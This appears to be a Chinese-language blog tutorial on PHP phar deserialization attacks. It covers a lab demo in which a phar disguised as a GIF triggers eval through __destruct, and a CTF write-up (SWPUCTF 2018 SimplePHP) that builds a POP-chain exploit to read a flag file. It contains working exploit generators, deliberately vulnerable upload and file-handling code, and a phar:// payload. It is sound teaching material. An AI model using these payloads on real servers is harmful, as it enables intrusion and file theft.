初探phar


前段时间做题的时候看了一些phar的一些内容,感觉真的是好神奇,于是希望小小总结一波

看了很多大佬关于phar拓展序列化漏洞的讲解讲解中都提到了 It’s a PHP unserialization vulnerability Jim, but not as we know it 提出的议题(某国外平台上有),于是乎我也去观看了视频,不过鉴于自己菜的要死的英语水平还是要看许多国内大佬们的文章。(文章结尾都会列出)

关于流包装

我们在做过许多题目的时候遇到过利用 php:// , data:// 等方式利用各种协议来访问文件路径, phar:// 也属于这种流包装的一种。有时候我们也可能会把方式叫做 php伪协议。

phar原理

 查阅文件结构我们可以知道phar的文件结构由四部分组成。

1.a stub

我们可以把它理解为一个标志,格式为 xxx<?php xxx;__HALT_COMPILER();?> ,前面内容不限,但是必须以 __HALT_COMPILER();?> 结尾,否则无法被phar扩张识别为phar文件(如下图示例)

 2. 描述内容

phar本质上是一种压缩文件,其中每一个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data ,这是上述攻击方式的核心地方。

demo1

注意: 我们在实验前需要把 php.ini  中的phar.readonly 设置为off,否则无法生成phar文件。

phar.php:

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后我们会生成一个 phar.phar 文件,打开可以看见 meta-data 是以序列化的形式存储的。

 有序列化就可以通过反序列化操作,phar文件被phar://可以在许多文件文件系统函数下被解析,经过大佬们的测试,可以得到受影响的函数如下:

利用

通过上面分析phar文件结构时我们可以注意到,也许我我们可以通过过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

利用条件

phar文件要能够上传到服务器端。

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

环境准备

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

文件内容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "./upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
form>
body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

eval.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

准备好如图几个文件

 实现过程

访问 eval.php  我们可以生成 phar.phar 然后我们把它修改后缀为  gif

 然后我们上传

 接着利用 file_un.php

payload: filename=phar://upload_file/phar.gif 

题战

[SWPUCTF 2018]SimplePHP

 看到这样我们 ?file= 我们就直接利用

 file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "

There is no file to show!

"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo ''; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>

 class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 

 简单看了一下源码,我们可以找到两个读取系统文件的函数 highlight_file() 和 file_get_contents() 

pop链分析

我们首先看到 Show类中的_show方法:

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }

f1ag被ban了,higjlight_file 利用不了

看到 Test 类里面的 file-get方法有 file_get_contents 函数,再看到 file_get 是在 get 方法里面调用的,而 get方法是通过  魔术方法 __get() 调用   (  __get():获取类中的一个不可访问属性或者是不存在的属性会调用此方法)

    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;

只要我们把 Test 实例化的对象存储在 str 的数组中,然后再去调用source属性,就可以触发 __get() 。但我们还需要触发 __toString()  ( __toString():将一个实例化对象当做一个字符串来使用时,会自动调用该方法)

 在 C1e4r类,看到了 __dustuct() 有对字符串的输出

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

于是我们构造exp

<?php
class C1e4r{
    public $test;
    public $str;
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $file;
    public $params = array();
}
    @unlink("test.phar");
    $phar = new Phar("exp.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $fun1 = new C1e4r();
    $fun2 = new Show();
    $fun3 = new Test();
    $fun3->params['source']="/var/www/html/f1ag.php";
    $fun2->str = array('str'=>$fun3);
    $fun1->str = $fun2;
    $phar->setMetadata($fun1);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

生成的 exp.phar 文件改为 .jpg 用 bp 上传

上传后找到 文件的路径

利用 phar 协议

 解得

 参考文章

https://paper.seebug.org/680/#0x02

https://xz.aliyun.com/t/2715#toc-1

https://xz.aliyun.com/t/3692#toc-11

https://www.secpulse.com/archives/123237.html